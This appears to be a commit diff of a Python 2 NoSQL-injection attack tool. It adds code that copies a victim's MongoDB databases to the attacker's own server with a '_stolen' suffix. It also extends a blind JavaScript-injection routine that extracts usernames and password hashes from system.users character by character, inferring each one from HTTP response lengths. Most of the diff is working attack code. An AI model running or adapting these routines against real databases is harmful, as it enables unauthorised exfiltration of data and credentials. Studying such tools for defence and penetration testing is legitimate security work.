@@ -968,6 +968,9 @@ def buildUri(origUri, randValue):
968
968
uriArray [17 ] = uriArray [17 ][:- 1 ]
969
969
return uriArray [0 ]
970
970
971
+ def buildPostData (body ):
972
+ print "Post data crap goes here."
973
+
971
974
def stealDBs (myDB ):
972
975
menuItem = 1
973
976
@@ -986,7 +989,11 @@ def stealDBs(myDB):
986
989
#Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
987
990
dbNeedCreds = raw_input ("Does this database require credentials (y/n)? " )
988
991
989
- if dbNeedCreds == "n" or dbNeedCreds == "N" :
992
+ if dbNeedCreds == "n" or dbNeedCreds == "N" :
993
+ if optionSet [4 ] == False :
994
+ raw_input ("No IP specified to copy to! Press enter to return to main menu..." )
995
+ mainMenu ()
996
+
990
997
myDBConn = pymongo .MongoClient (myDB ,27017 )
991
998
myDBConn .copy_database (dbList [int (dbLoot )- 1 ],dbList [int (dbLoot )- 1 ] + "_stolen" ,victim )
992
999
@@ -1008,6 +1015,7 @@ def stealDBs(myDB):
1008
1015
return ()
1009
1016
1010
1017
except :
1018
+ #print str(sys.exc_info())
1011
1019
raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return..." )
1012
1020
mainMenu ()
1013
1021
@@ -1212,62 +1220,123 @@ def getDBInfo():
1212
1220
charCounterUsr = 0 #position in the character array-Username
1213
1221
rightCharsUsr = 0 #number of correct characters-Username
1214
1222
rightCharsHash = 0 #number of correct characters-hash
1215
- charCounterHash = 0
1223
+ charCounterHash = 0 #position in the character array-hash
1216
1224
username = ""
1217
1225
pwdHash = ""
1218
1226
charCountUsr = False
1219
1227
query = "{}"
1220
1228
1221
1229
while retrUsers < usrCount :
1222
- if retrUsers == 0 :
1223
- while charCountUsr == False :
1224
- #different query to get the first user vs. others
1225
- usrUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne(); if (usr.user.length == " + str (usrChars ) + ") { return true; } var dum='a" + "&" )
1226
- lenUri = int (len (urllib .urlopen (usrUri ).read ()))
1230
+ if retrUsers == 0 :
1231
+ while charCountUsr == False :
1232
+ #different query to get the first user vs. others
1233
+ usrUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne(); if (usr.user.length == " + str (usrChars ) + ") { return true; } var dum='a" + "&" )
1234
+ lenUri = int (len (urllib .urlopen (usrUri ).read ()))
1227
1235
1228
- if lenUri == baseLen :
1229
- #Got the right number of characters
1230
- charCountUsr = True
1236
+ if lenUri == baseLen :
1237
+ #Got the right number of characters
1238
+ charCountUsr = True
1231
1239
1232
- else :
1233
- usrChars += 1
1240
+ else :
1241
+ usrChars += 1
1234
1242
1235
- while rightCharsUsr < usrChars :
1236
- usrUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne(); if (usr.user.charAt(" + str (rightCharsUsr ) + ") == '" + chars [charCounterUsr ] + "') { return true; } vardum ='a" + "&" )
1237
- lenUri = int (len (urllib .urlopen (usrUri ).read ()))
1243
+ while rightCharsUsr < usrChars :
1244
+ usrUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne(); if (usr.user.charAt(" + str (rightCharsUsr ) + ") == '" + chars [charCounterUsr ] + "') { return true; } var dum ='a" + "&" )
1245
+ lenUri = int (len (urllib .urlopen (usrUri ).read ()))
1238
1246
1239
- if lenUri == baseLen :
1240
- username = username + chars [charCounterUsr ]
1241
- #print username
1242
- rightCharsUsr += 1
1243
- charCounterUsr = 0
1247
+ if lenUri == baseLen :
1248
+ username = username + chars [charCounterUsr ]
1249
+ #print username
1250
+ rightCharsUsr += 1
1251
+ charCounterUsr = 0
1244
1252
1245
- else :
1246
- charCounterUsr += 1
1253
+ else :
1254
+ charCounterUsr += 1
1247
1255
1248
- retrUsers += 1
1249
- users .append (username )
1250
- #print str(retrUsers)
1251
- #print str(users)
1252
-
1253
- while rightCharsHash < 32 : #Hash length is static
1254
- hashUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str (rightCharsHash ) + ") == '" + chars [charCounterHash ] + "') { return true; } vardum='a" + "&" )
1255
- lenUri = int (len (urllib .urlopen (hashUri ).read ()))
1256
+ retrUsers += 1
1257
+ users .append (username )
1258
+ #reinitialize all variables and get ready to do it again
1259
+ #print str(retrUsers)
1260
+ #print str(users)
1261
+ charCountUsr = False
1262
+ rightCharsUsr = 0
1263
+ usrChars = 0
1264
+ username = ""
1265
+
1266
+ while rightCharsHash < 32 : #Hash length is static
1267
+ hashUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str (rightCharsHash ) + ") == '" + chars [charCounterHash ] + "') { return true; } var dum='a" + "&" )
1268
+ lenUri = int (len (urllib .urlopen (hashUri ).read ()))
1256
1269
1257
- if lenUri == baseLen :
1258
- pwdHash = pwdHash + chars [charCounterHash ]
1259
- #print pwdHash
1260
- rightCharsHash += 1
1261
- charCounterHash = 0
1270
+ if lenUri == baseLen :
1271
+ pwdHash = pwdHash + chars [charCounterHash ]
1272
+ #print pwdHash
1273
+ rightCharsHash += 1
1274
+ charCounterHash = 0
1262
1275
1263
- else :
1264
- charCounterHash += 1
1276
+ else :
1277
+ charCounterHash += 1
1265
1278
1266
- hashes .append (pwdHash )
1267
- print "Got user:hash " + users [0 ] + ":" + hashes [0 ]
1279
+ hashes .append (pwdHash )
1280
+ print "Got user:hash " + users [0 ] + ":" + hashes [0 ]
1281
+ #reinitialize all variables and get ready to do it again
1282
+ charCounterHash = 0
1283
+ rightCharsHash = 0
1284
+ pwdHash = ""
1285
+ else :
1286
+ while charCountUsr == False :
1287
+ #different query to get the first user vs. others
1288
+ usrUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne({user:{$nin:" + str (users ) + "}}); if (usr.user.length == " + str (usrChars ) + ") { return true; } var dum='a" + "&" )
1289
+ lenUri = int (len (urllib .urlopen (usrUri ).read ()))
1290
+
1291
+ if lenUri == baseLen :
1292
+ #Got the right number of characters
1293
+ charCountUsr = True
1294
+
1295
+ else :
1296
+ usrChars += 1
1268
1297
1269
- else :
1270
- print "more users go here."
1298
+ while rightCharsUsr < usrChars :
1299
+ usrUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne({user:{$nin:" + str (users ) + "}}); if (usr.user.charAt(" + str (rightCharsUsr ) + ") == '" + chars [charCounterUsr ] + "') { return true; } var dum='a" + "&" )
1300
+ lenUri = int (len (urllib .urlopen (usrUri ).read ()))
1301
+
1302
+ if lenUri == baseLen :
1303
+ username = username + chars [charCounterUsr ]
1304
+ #print username
1305
+ rightCharsUsr += 1
1306
+ charCounterUsr = 0
1307
+
1308
+ else :
1309
+ charCounterUsr += 1
1310
+
1311
+ retrUsers += 1
1312
+ #reinitialize all variables and get ready to do it again
1313
+
1314
+ charCountUsr = False
1315
+ rightCharsUsr = 0
1316
+ usrChars = 0
1317
+
1318
+
1319
+ while rightCharsHash < 32 : #Hash length is static
1320
+ hashUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne({user:{$nin:" + str (users ) + "}}); if (usr.pwd.charAt(" + str (rightCharsHash ) + ") == '" + chars [charCounterHash ] + "') { return true; } vardum='a" + "&" )
1321
+ lenUri = int (len (urllib .urlopen (hashUri ).read ()))
1322
+
1323
+ if lenUri == baseLen :
1324
+ pwdHash = pwdHash + chars [charCounterHash ]
1325
+ #print pwdHash
1326
+ rightCharsHash += 1
1327
+ charCounterHash = 0
1328
+
1329
+ else :
1330
+ charCounterHash += 1
1331
+
1332
+ users .append (username )
1333
+ hashes .append (pwdHash )
1334
+ print "Got user:hash " + users [retrUsers - 1 ] + ":" + hashes [retrUsers - 1 ]
1335
+ #reinitialize all variables and get ready to do it again
1336
+ username = ""
1337
+ charCounterHash = 0
1338
+ rightCharsHash = 0
1339
+ pwdHash = ""
1271
1340
1272
1341
1273
1342
@@ -1277,6 +1346,6 @@ def getDBInfo():
1277
1346
def signal_handler (signal , frame ):
1278
1347
print "\n "
1279
1348
print "CTRL+C detected. Exiting."
1280
- sys .exit (0 )
1349
+ sys .exit ()
1281
1350
signal .signal (signal .SIGINT , signal_handler )
1282
1351
mainMenu ()
0 commit comments